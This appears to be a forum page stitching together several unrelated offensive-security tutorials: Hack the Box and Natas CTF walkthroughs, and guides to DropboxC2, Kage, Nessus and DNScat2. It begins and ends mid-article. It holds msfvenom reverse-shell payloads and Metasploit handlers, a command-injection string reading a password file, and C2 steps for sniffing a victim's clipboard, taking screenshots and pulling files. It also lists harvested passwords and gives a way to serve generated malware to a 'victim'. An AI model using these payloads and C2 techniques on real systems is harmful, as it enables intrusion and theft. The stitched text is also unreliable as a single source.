[Image: 5.png?w=687]

It redirected us on a File Upload Page.
[Image: 6.png?w=687]

Now we have used msfvenom to generate malicious PHP file.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5
[Image: 7.png?w=687]

We have successfully uploaded the malicious file.
[Image: 8.png?w=687]

On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run
[Image: 9.png?w=687]

Let’s open our malicious file using the browser.
[Image: 10.png?w=687]

Finally, we have got the meterpreter.
sysinfo
1
sysinfo
[Image: 11.png?w=687]

While looking for our first flag, we have some useful credential for ssh login.
Username- dave
Password- Dav3therav3123
cd Desktop
ls -al
cat Servers
cat key
cat ssh
1
2
3
4
5
cd Desktop
ls -al
cat Servers
cat key
cat ssh
[Image: 12.png?w=687]

Time to login into ssh.
Username- dave
Password- Dav3therav3123
[Image: 13.png?w=687]

We use the ping command to find all the available machines on the subnet “192.168.122.1/255”.
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done
1
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done
[Image: 14.png?w=687]

Let’s use the following command to scan the ports of 192.168.122.4 to see what we are up against.
[Image: 15.png?w=687]

Now connect to the client machine using the command below.
ssh -D 8080 [email protected]
1
ssh -D 8080 [email protected]
Password- Dav3therav3123
[Image: 16.png?w=687]

The proxy on the browser is set up to point to socks5://127.0.0.1:8080.
Let’s open the IP 192.168.122.4 in the browser. And see where it directed us. Click on VPN Configuration link.
[Image: 17.png?w=687]

It directed us to the page where we need to update the VPN file. We have found the details in Test VPN link.
[Image: 18.png?w=687]

Simply we have pasted and modified the details in which we have given the IP address of the Target Machine along with port 1234. Click on update file.
[Image: 20.png?w=687]

On the other hand, we have executed listening on port 1234.
nc -lvp 1234
1
nc -lvp 1234
We have easily got the root access. Enumerating directories to find user.txt.
cd /root
ls
ls -al
1
2
3
cd /root
ls
ls -al
[Image: 21.png?w=687]

After some digging, we have found our first flag.
ls
cd dave
ls
cat user.txt
1
2
3
4
ls
cd dave
ls
cat user.txt
[Image: 22.png?w=687]

Now we thought of reading the logs, we were totally out of hints. While looking at the logs we found something interesting. We saw that the firewall is accepting inbound traffic from port 4444/tcp to host 192.168.5.2 which is listening at 987/tcp.
So, to find out, what’s running on 987/tcp. Use the following command.
ncat -p 4444 192.168.5.2 987
1
ncat -p 4444 192.168.5.2 987
It came out be SSH service.
[Image: 23.png?w=687]

We again found Credentials for SSH Login.
Username- dave
Password- dav3gerous567
cat ssh
1
cat ssh
[Image: 24.png?w=687]

What are we waiting for, time to log into SSH, here we again found User.txt.
ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
Password- dav3gerous567
ls
cat user.txt
1
2
ls
cat user.txt
[Image: 25.png?w=687]

Since dave has a restricted default shell, so we are using proxy command to re-login.
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]
1
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]
[Image: 26.png?w=687]

After logging in as user “monitor” we find that we have a restricted shell. We are not able to change the SHELL variable. After spawning a TTY shell, we are able to change the SHELL environment variables.
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL
1
2
3
4
5
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL
[Image: 27.png?w=687&ssl=1]

We tried decrypting the file root.txt.png but couldn’t succeed. Since it requires a secret key.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg
[Image: 28.png?w=687]

There are not many options left, let’s convert into a base64 encoded string using python3m.
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"
1
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"
[Image: 29.png?w=687]

We have copy & pasted the encoded string to the ubuntu machine and decrypted it. Since we have found the paraphrase ‘itscominghome’ we can easily open the file root.txt.gpg to read our final flag.
[Image: 30.png?w=687]

Finally, we have read our Final Flag.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg
[Image: 31.png?w=687]

In this article, we will learn how to use DropboxC2 tool. It is also known as DBC2.
Table of Content:

Introduction
Installation
Getting Dropbox API
Exploiting Target
Sniffing Clipboard
Capturing Screenshot
Command Execution
File Download

Introduction
DBC2 is primarily a tool for post-exploitation. It has an agent running on the target’s machine, a controller, running on any machine, PowerShell modules, and Dropbox servers as a means of communication. It is inspired by the PowerShell Empire Framework. This tool is developed using python. The credit for developing this tool goes to

[To see content please register here]

.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first, we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After running the above command, we would have a directory created by the name of DBC2. Now, we will traverse inside that directory using the cd command. After that, we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
cd DBC2/
pip install -r requirements.txt
1
2
cd DBC2/
pip install -r requirements.txt
[Image: 2.png?w=687&ssl=1]

Getting Dropbox API
Now, this tool uses the Dropbox Servers as the medium to run agents on the target machine. In order to do that, this tool requires a Dropbox API. To get that, first, create an account on

[To see content please register here]

. Then after creating the account, head to developer tools

[To see content please register here]

. A webpage will open similar to the one shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose “App folder”. Name the app as per choice. Then click on Create App Button to proceed.
[Image: 3.png?w=687&ssl=1]

This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical.
[Image: 4.png?w=687&ssl=1]

Copy the Generated access token, now get to the directory we cloned earlier. Here we have a file named config.py. We will open it using nano command and paste the Access token as the value for “defaultAccessToken” as shown in the given screenshot given below.
[Image: 5.png?w=687&ssl=1]

Exploiting Target
Now, it’s time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will ask for a master password which will be used to encrypt all the data between the agents and the controller. Enter the password of choice. It will encrypt the password entered and display the result. We can copy the code shown and add to the config.py file so that it doesn’t ask again for a master password. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.
python dropboxC2.py
1
python dropboxC2.py
[Image: 6.png?w=687&ssl=1]

This tool requires to upload the modules and stager on Dropbox before proceeding further. We will do this using the command given below.
publishStage dbc2_agent.exe
1
publishStage dbc2_agent.exe
[Image: 7.png?w=687&ssl=1]

This will upload a file on the Dropbox as shown in the image given below. This file is encrypted using XOR encryption.
[Image: 8.png?w=687&ssl=1]

Now let’s check if the stage is published using the command given below:
listPublishedStage
1
listPublishedStage
[Image: 9.png?w=687&ssl=1]

Now that stage is uploaded, let’s use it to create a stager. We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in macro, oneliner, JavaScript, MS build sct and much more. This command will create a stager.bat in the tmp directory. We sent this bat file to our target machine.
genStager batch default
1
genStager batch default
[Image: 10.png?w=687&ssl=1]

After the batch file is executed on the target machine, we will be informed with a message on the terminal that Agent found with ID. Now we will use the list command to see the list of the agents. And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
list
use [AgentID]
1
2
list
use [AgentID]
[Image: 12.png?w=687&ssl=1]

This will create a file on the Dropbox with the .status extension as shown in the given image.
[Image: 13.png?w=687&ssl=1]

Clipboard Sniffing
We can get the clipboard data that the target has on its clipboard. That is., the data he/she has copied. To do this we will have to start a sniffer using the command clipboardLogger start. Then wait till the target copies some data. Then Stop the sniffer using the command clipboardLogger stop. After stopping the sniffer the clipboard will be saved in a text file inside the incoming directory.
clipboardLogger start
clipboardLogger stop
1
2
clipboardLogger start
clipboardLogger stop
[Image: 14.png?w=687&ssl=1]

Let’s take a look at what target copied on his/her machine. We are going to use the cat command on a new Kali terminal to read the file as shown in the given image.
cat /root/DBC2/incoming/clipboardlogger.txt
1
cat /root/DBC2/incoming/clipboardlogger.txt
[Image: 15.png?w=687&ssl=1]

Capturing Screenshot
Now furthermore we can grab a screenshot of then target machine. To do this we will use the screenshot command as shown in the given image.
screenshot
1
screenshot
[Image: 16.png?w=687&ssl=1]

The screenshot will be captured and stored in the incoming directory. We can see that the target is browsing a website on his/her machine in the given image.
[Image: 17.png?w=687&ssl=1]

Command Execution
We can run some PowerShell commands on the target machine using the parameter cmd. This tool doesn’t offer the shell but it can execute one command at a time. So, we type cmd and then it asks the command that is to be executed. Here we run the command dir. And we have the list of files as shown in the given image.
cmd
dir
1
2
cmd
dir
[Image: 18.png?w=687&ssl=1]

File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
getFile sharetext.txt
1
getFile sharetext.txt
[Image: 19.png?w=687&ssl=1]

The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cat /root/DBC2/incoming/sharetext.txt
1
cat /root/DBC2/incoming/sharetext.txt
[Image: 20.png?w=687&ssl=1]

Today, we will play a war-game called Natas. It has a collection of 34 levels. OverTheWire Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of serverside web-security in a fun and challenging way. To play this war-game, go to the Natas website by clicking

[To see content please register here]

.
Objective
Find the password to login on to the next level.
Table of Content:

Introduction
Level 0
Level 0 → Level 1
Level 1 → Level 2
Level 2 → Level 3
Level 3 → Level 4
Level 4 → Level 5
Level 5 → Level 6
Level 6 → Level 7
Level 7 → Level 8
Level 8 → Level 9
Level 9 → Level 10

Introduction
Natas have levels designed in such a way that each level has a different website. To reach each website we will enter the URL in this format.
natasX.natas.labs.overthewire.org, where X is the Level Number.
To access a level, we will use the username for that level (e.g. natas0 for level 0) and its password. The password for the next level is hidden on the current level. We will have to enumerate the password for the next level that is hidden in the current level. All the passwords are stored at /etc/natas_webpass/.
Level 0
This is a pretty simple level. We have the login credentials given on the Natas Introduction Page. Just browse the URL and enter the login credentials.
Username: natas0
Password: natas0
[Image: 1.png?w=687]

Level 0 → Level 1
On successfully logging in the natas0 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page” as shown in the figure given below.
[Image: 2.png?w=687]

Now as per convention, let’s try to find something inside the source code. To view source code, we will right click on the webpage and select ‘View Page Source’. And there we have the password commented in the source code.
[Image: 3.png?w=687]

Level 1 → Level 2
We use the credentials we extracted from the previous level to login into Level 1.
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
On successfully logging in the natas1 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page, but rightclicking has been blocked!” as shown in the figure given below.
[Image: 4.png?w=687]

Now as right-clicking is disabled to view source code, we will have to find another way to retrieve the password form the source code. As we were using Mozilla Firefox and to open source code, we use ‘Ctrl + U’ shortcut. And there we have the password commented in the source code.
[Image: 5.png?w=687]

Level 2 → Level 3
We use the credentials we extracted from the previous level to login into Level 2.
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
On successfully logging in the natas2 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.
[Image: 6.png?w=687]

So, we check the Source Code of the page, here we find that we have an image file named pixel.png located in the files directory.
[Image: 7.png?w=687]

We opened the files directory as shown in the image given below. In this directory, we find the user.txt file.
[Image: 8.png?w=687]

On opening it we find the passwords for the various users present on the target machine. But we need the password for the natas3.
[Image: 9.png?w=687]

Level 3 → Level 4
We use the credentials we extracted from the previous level to login into Level 3.
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
On successfully logging in the natas3 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.
[Image: 10.png?w=687]

So, we check the Source Code of the page, here we find a commented hint. It says “Not even Google will find it this time”. Search Engine spiders always leave the links that are disallowed the robots.txt file. So, we thought to check if this website has one.
[Image: 11.png?w=687]

We opened the robots.txt as shown in the image given below. In this file, we find that the /s3cr3t/ directory is disallowed. So, let’s open and see for ourselves what’s inside the s3cr3t directory.
[Image: 12.png?w=687]

In this directory, we find the user.txt file.
[Image: 13.png?w=687]

On opening it we find the login credentials of the user natas4.
[Image: 14.png?w=687]

Level 4 → Level 5
We use the credentials we extracted from the previous level to login into Level 4.
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
On successfully logging in the natas4 webpage, we will have a message in front of us. It says “Access disallowed. You are visiting from “” while authorized users should come only from “//natas5.natas.labs.overthewire.org/” ”as shown in the figure given below.
[Image: 15.png?w=687]

We capture the request in Burp Suite, here we see that there is a parameter named Referer. It says natas4.
[Image: 16.png?w=687]

We change that Referer parameter value to Natas5 as shown in the image given below.
[Image: 17.png?w=687]

After Forwarding the Request, we get the credentials of the user natas5.
[Image: 18.png?w=687]

Level 5 → Level 6
We use the credentials we extracted from the previous level to login into Level 5.
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
On successfully logging in the natas5 webpage, we will have a message in front of us. It says “Access disallowed. You are not logged in” as shown in the figure given below.
[Image: 19.png?w=687]

We capture the request in Burp Suite, here we see that there is a parameter named loggedin. It is set to 0.
[Image: 20.png?w=687]

We change that loggedin parameter value to 1 as shown in the image given below.
[Image: 21.png?w=687]

After Forwarding the Request, we get the credentials of the user natas6.
[Image: 22.png?w=687]

Level 6 → Level 7
We use the credentials we extracted from the previous level to login into Level 6.
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
On successfully logging in the natas6 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.
[Image: 23.png?w=687]

We went ahead and look for some clues for that secret that we will have to enter in order to get the credentials for the next level. Here we see that a file is included called ‘secret.inc’.
[Image: 24.png?w=687]

So, in order to grab the secret, we will browser the included file manually. So, as we can see in the given image, we can see that we add the /include/secret.inc in the URL. This gave us a blank page in response. So, we browsed the source code to find the secret commented on the webpage.
[Image: 25.png?w=687]

Now we copied the secret and went back to the form which was asking the secret. After entering the secret, we get the login credentials for the next level.
[Image: 26.png?w=687]

Level 7 → Level 8
We use the credentials we extracted from the previous level to login into Level 7.
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
On successfully logging in the natas7 webpage, we are given two links, Home and About as shown in the figure given below.
[Image: 27.png?w=687]

So, we check the Source Code of the page. Here, we can see the links “index.php?page=” in the given image. We have also hinted the location of the password, that is., /etc/natas_webpass/natas8.
[Image: 28.png?w=687]

As we can see in the given image, the link is shown in the address bar of our browser after clicking the Home link.
[Image: 29.png?w=687]

So, we modify the link to read the password stored in the natas_webpass.
//natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
And we have the password for the next level. This is called command injection.
[Image: 30.png?w=687]

Level 8 → Level 9
We use the credentials we extracted from the previous level to login into Level 8.
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
On successfully logging in the natas8 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.
[Image: 31.png?w=687]

We opened the source code and found that the secret is encoded. Also, we have a function which encodes the secret.
[Image: 32.png?w=687]

Hence to decode the secrete we just create a function that can decode the secret. This can be done as shown in the given image.
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
1
2
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
[Image: 33.png?w=687]

As we now have the decoded secret, we can use it extract the credentials from the webpage of natas8 as shown in the given image.
[Image: 34.png?w=687]

Level 9 → Level 10
We use the credentials we extracted from the previous level to login into Level 9.
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On successfully logging in the natas9 webpage, we will have a form in front of us. It says “Find words containing” as shown in the figure given below.
[Image: 35.png?w=687]

We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and executes it directly.
[Image: 36.png?w=687]

So, we will use ( Wink

to execute multiple commands. We will try to read the password at the next level.
;cat /etc/natas_webpass/natas10
1
;cat /etc/natas_webpass/natas10
[Image: 37.png?w=687]

As we can see that the password is printed on the screen as shown in the given image.
[Image: 38.png?w=687]

Level 10 → Level 11
We use the credentials we extracted from the previous level to login into Level 10.
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
On successfully logging in the natas10 webpage, we will have a form in front of us. It says “For security reasons, we now filter on certain characters Find words containing” as shown in the figure given below.
[Image: 39.png?w=687]

We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and it filters the input of the characters (/;|&) as shown in the given image.
[Image: 40.png?w=687]

So, we will use (.*) to execute multiple commands. We will try to read the password at the next level.
.*/etc/natas_webpass/natas10
1
.*/etc/natas_webpass/natas10
[Image: 41.png?w=687]

As we can see that the password is printed on the screen as shown in the given image.
[Image: 42.png?w=687]

[Guide] For Beginner’s to Nessus

Posted by: NINZA - 05-14-2020, 12:00 PM - Forum: Carders Home - No Replies

In this article, we will learn about Nessus which is a network vulnerability scanner. There are various network vulnerability scanners but Nessus is one of the best because of its most successful GUI. Therefore, it is widely used in multiple organizations. The tools were developed by Renuad Deraison in the year 1998.
Table of Content

Introduction to Nessus
Linux Installation
Running Vulnerability Scans
Windows Installation

Introduction to Nessus
Nessus is a network vulnerability scanner that utilizes the Common Vulnerabilities and Exposures engineering for simple cross-connecting between agreeable security instruments. Nessus utilizes the Nessus Attack Scripting Language (NASL), a basic language that portrays singular dangers and potential assaults. Nessus has a measured design comprising of incorporated servers that direct examining, and remote customers that take into account chairman communication. Executives can incorporate NASL portrayals of every presumed powerlessness to create altered outputs. Noteworthy abilities of Nessus include:

Compatible with all OS
Scans for vulnerabilities in the local and remote host
Informs about missing security in detail
Applies various attacks in order to pinpoint a vulnerability
It can schedule security audits
Runs security tests

Linux Installation
Let’s start the installation on Linux. Here we are installing Nessus on an Ubuntu 18 Machine. Firstly, we will invoke a root shell using sudo bash command. We are going to install Nessus using a deb file that can be downloaded from the

[To see content please register here]

. We traverse to the directory where we have downloaded the deb file. We will change permission to execute the file and then we will install the Nessus.deb file using the dpkg command.
chmod 777 Nessus-8.2.3-ubuntu910_amd64.deb
dpkg -I Nessus*.deb
1
2
chmod 777 Nessus-8.2.3-ubuntu910_amd64.deb
dpkg -I Nessus*.deb
[Image: 1.png?w=687&ssl=1]

Afterwards, as shown in the image using the following command to run Nessus :
/etc/init.d/nessusd start
1
/etc/init.d/nessusd start
[Image: 2.png?w=687&ssl=1]

This command will open our default browser, which in our case is Mozilla Firefox. And we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. The first click on Advanced followed by Accept the Risk and Continue.
[Image: 3.png?w=687&ssl=1]

Then it will ask you to create an account, as shown in the image, give the details for it.
[Image: 4.png?w=687&ssl=1]

Further, it will ask you for an activation code, provide that just as its shown in the image below :
[Image: 5.png?w=687&ssl=1]

Once all the formalities are done, Nessus will open and will allow you to perform any scan you desire as shown in the image below :
[Image: 6.png?w=687&ssl=1]

Running Vulnerability Scans
When you click on create new scans, there will be multiple scans that you can see in the following image :
[Image: 7.png?w=687&ssl=1]

And then in the policies tab, you can generate different policies on which the scans are based.
[Image: 8.png?w=687&ssl=1]

There are various policies templates too, as shown in the image below :
[Image: 9.png?w=687&ssl=1]

In order to start a new scan, go to scan templates and select a new scan and then give it a name and target IP as shown in the following image :
[Image: 10.png?w=687&ssl=1]

Once the scan is done, it will show you the result; this result will clearly indicate the risk that a vulnerability poses which goes from low to critical.
[Image: 11.png?w=687&ssl=1]

When you click on the vulnerability, for instance here we clicked on the first one which is a critical threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :
[Image: 12.png?w=687&ssl=1]

Now, we clicked on the different one which is a high-level threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :
[Image: 13.png?w=687&ssl=1]

Windows Installation
Download Nessus for windows from

[To see content please register here]

. And open it similarly in the browser to set it up.
[Image: 14.png?w=687&ssl=1]

Just like in Linux, we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. First click on Advanced followed by Accept the Risk and Continue.
[Image: 15.png?w=687&ssl=1]

Then it will ask you to create an account, as shown in the image, give the details for it.
[Image: 16.png?w=687&ssl=1]

Further, it will ask you for an activation code, provide that just as its shown in the image below :
[Image: 17.png?w=687&ssl=1]

And then you can start your scans in a similar way just as shown above in Linux.
[Image: 18.png?w=687&ssl=1]

Kage is a GUI for Metasploit RCP servers. It is a good tool for beginners to understand the working of Metasploit as it generates payload and lets you interact with sessions. As this tool is on the process of developing until now it only supports windows/meterpreter and android/meterpreter. For it to work, you should have Metasploit installed in your system. The only dependency it requires is npm.
Installation
Use the following git command to install the kage software :
git clone //github.com/WayzDev/Kage.git
1
git clone //github.com/WayzDev/Kage.git
[Image: 1.png?w=687]

Go inside the kage folder and install nmp with the following command :
apt-get install npm
1
apt-get install npm
[Image: 2.png?w=687]

Further, use the following command :
npm install
1
npm install
[Image: 3.png?w=687]

And then run it with the following command :
npm run dev
1
npm run dev
[Image: 4.png?w=687]

Once all the perquisites are done, the kage will run. Click on the start server button as shown in the image below :
[Image: 5.png?w=687]

The server will start running. Once all the process is done, click on the close button as shown in the image below :
[Image: 6.png?w=687]

After click on the close button, it will automatically take all the details, and then you can click on the connect button to connect as shown in the image below :
[Image: 7.png?w=687]

Once you are connected, it will show you the following windows :
[Image: 8.png?w=687]

Under the heading payload generator, you can give all the details such as file name (kage.exe), payload (windows/meterpreter/reverse_tcp), lhost (192.168.1.9), lport (5252) and then click on generate.
[Image: 9.png?w=687]

After clicking on generate, it will create a new folder named kage (with small k), here, run python server so that you can share your malware with the victim. To run the python server, type :
python -m SimplpeHTTPServer 80
1
python -m SimplpeHTTPServer 80
[Image: 10.png?w=687]

Once the file is shared and executed, it will show the following details under the jobs heading :
[Image: 14.png?w=687]

And when you go the sessions window through the dashboard, you will find a new session that has been created. Click on interact button to access the session.
[Image: 15.png?w=687]

After clicking on the interact button, the following window will open. Here, the first tab will show you all the information about the system.
[Image: 16.png?w=687]

The second tab will show you all the processes that are running on the victim’s PC.
[Image: 17.png?w=687]

And the third tab will give you all the information about its network. Here, you can use three commands through buttons provided and i.e. ifconfig, netstat, route, as shown in the image below :
[Image: 18.png?w=687]

Today we are going to solve another CTF challenge “Curling”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Curling is 10.10.10.150
Penetrating Methodology

Network scanning (Nmap)
Surfing the IP address on the browser
Finding Secret View Page Source
Decoding Secret
Enumerating Joomla!
Creating Payload using msfvenom
Getting Meterpreter Session
Enumerate and Extract password files
Getting SSH Session
Grab User Flag
Enumerate for Root Flag
Getting the root flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV -sC -T4 -p- 10.10.10.150
1
nmap -sV -sC -T4 -p- 10.10.10.150
[Image: 1.png?w=687]

The Nmap scan shows 2 open ports: 22(SSH), 80(HTTP)
As port 80 is running HTTP service, we open the IP address in the web browser.
[Image: 2.png?w=687]

Here, we found two usernames Floris & Super User. They might come in handy later on. Let’s view the Page source of the webpage.
[Image: 3.png?w=687]

Let’s open the secret.txt in the browser. It displayed a base64 encoded string.
[Image: 4.png?w=687]

Time to decode this base64 encoded string. So, on decoding it we got Curling2018! This can be used as a credential.
echo "Q3VybGluZzIwMTgh" | base64 -d
1
echo "Q3VybGluZzIwMTgh" | base64 -d
[Image: 5.png?w=687]

Due to previous experience with Joomla! We already knew about its administrator login page. Not wasting our time we directly opened /administrator directory in the browser along with the credentials.
Username- Floris
Password- Curling2018!
[Image: 6.png?w=687]

We have successfully logged in.
[Image: 7.png?w=687]

We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.120 lport=443 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.120 lport=443 -f raw
[Image: 8.png?w=687]

On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
[Image: 9.png?w=687]

Let’s try to upload php reverse shell script which we have created using msfvenom. Let’s first navigate to /template/protostar/ on the webpage.
[Image: 10.png?w=687]

Finally, we have got the meterpreter.
[Image: 11.png?w=687]

We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.
shell
python3 -c "import pty;pty.spawn('/bin/bash')"
1
2
shell
python3 -c "import pty;pty.spawn('/bin/bash')"
[Image: 12.png?w=687]

After enumerating through directories, we found a useful file password_backup. Let’s check its contents. The contents of this file look like hexdump.
ls -al
cat password_backup
1
2
ls -al
cat password_backup
[Image: 13.png?w=687]

Let’s use an xxd tool which is used to create hex dump of the given file or standard input. On decompressing the file we saw the author of the machine has recursively compressed the password_backup file. We need to recursively decompress it.
xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2
ls
file password
mv password password.gz
gzip -d password.gz
ls
file password
mv password password.bz2
bzip2 -d password bz2
ls
mv password password.tar
tar xvf password.tar
cat password.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2
ls
file password
mv password password.gz
gzip -d password.gz
ls
file password
mv password password.bz2
bzip2 -d password bz2
ls
mv password password.tar
tar xvf password.tar
cat password.txt
The content found in password.txt might be the password to login into SSH. Let’s find out if our intuition is true or not.
[Image: 14.png?w=687]

We have successfully logged into SSH using the password found in password.txt.
ssh [email protected]
1
ssh [email protected]
On exploring, we found User.txt and read its contents.
ls
cat user.txt
1
2
ls
cat user.txt
[Image: 16.png?w=687]

On further enumerating, we found two files input & report in the admin-area folder. Let’s read the contents of both the files.
cat input
wc -l report
1
2
cat input
wc -l report
[Image: 17.png?w=687]

After sometime of thinking, we thought of changing the content of the input file using echo.
ls -al
echo "file:///root/root.txt" > input
1
2
ls -al
echo "file:///root/root.txt" > input
[Image: 18.png?w=687]

It took us time to think about it. We did this because we knew our final flag is inside /root/root/txt. And also came to know the output of the input file will be saved in the report file.
Now after some time when we opened the report file. We found our Final Flag and read its contents.
wc -l report
cat report
1
2
wc -l report
cat report
[Image: 19.png?w=687]

In this article, we learn DNS tunneling through an amazing tool i.e. DNScat2
Table of Content :

Introduction to DNS
Introduction to DNScat
Installation
DNS tunneling
Conclusion

Introduction to DNS
The Domain Name System (DNS) associate’s URLs with their IP address. With DNS, it’s conceivable to type words rather than a series of numbers into a browser, enabling individuals to look for sites and send messages utilizing commonplace names. When you look for the domain name in a browser, it sends a question over to the DNS server to coordinate the domain with its IP. When found, it utilizes the IP to recover the site’s content. Most astonishingly, this entire procedure takes just milliseconds. For all this working, it uses port 53.
Introduction to DNScat
DNScat is such praised tool because it can create a command and control tunnel over the DNS protocol which lets an attacker work in stealth mode. You can access any data along with uploading and downloading files and to get a shell. For this tool to work over 53 port, you don’t need to have authoritative access to DNS server, you can just simply establish your connection over port 53 and it will be faster and it will still be sensed as usual traffic. But it makes its presence well known in the packet log.
DNScat is made of two components i.e. a server and a client. To know the working of dnscat, it is important to understand both of these components.
The client is intended to be kept running on a target machine. It’s written in C and has the least amount of the prerequisites. When you run the client, you regularly indicate a domain name. All packets will be sent to the local DNS server, which is then directed to the legitimate DNS server for that domain (which you, apparently, have control of).
The server is intended to be kept running on a definitive DNS server. It’s developed in ruby and relies upon a few distinct gems. When you run it, much like the client, you indicate from which domain(s) it listens to over 53. When it gets traffic for one of those domains, it endeavours to set up a legitimate association. It gets other traffic it will automatically disregard it but, however, it can also advance it upstream.
Installation
Run the following git command to download dnscat2 :
git clone //github.com/iagox86/dnscat2.git
1
git clone //github.com/iagox86/dnscat2.git
[Image: 1.png?w=687]

Now install bundler as it is a major dependency for dnscat2. To install bundler go into the server of dnscat2 and type :
gem install bundler
bundle install
1
2
gem install bundler
bundle install
[Image: 2.png?w=687]

Once everything is done, the server will run with the following command :
ruby dnscat2.rb
1
ruby dnscat2.rb
[Image: 3.png?w=687]

Similarly, download dnscat2 in the client machine too. And use make command to compile it with the server, as shown in the image below :
[Image: 4.png?w=687]

To establish a connection between client and server, use the following command :
./dnscat2 --dns-server=192.168.174.131,port=53
1
./dnscat2 --dns-server=192.168.174.131,port=53
[Image: 5.png?w=687]

Once the connection is established, you can see on the server side that you will have a session as shown in the image below. You can use the command ‘sessions’ to check for a session that is created.
[Image: 6.png?w=687]

To interact with the said session type the following command :
session -i 1
1
session -i 1
As you can access the session now, use the word ‘ping’ to ping the target and if it replies ‘Pong!’ then you ping is successful.
[Image: 7.png?w=687]

Following will be the response on the client side of the ping command.
[Image: 8.png?w=687]

Further will the help command you can see all the options that we can use to our advantage. If you want to go to the shell then just type ‘shell’ and it will open a new window with the session to interact with the shell of the target system.
[Image: 9.png?w=687]

To interact with the shell session that is opened in a new terminal, type following set of commands :
windows
session -i 2
1
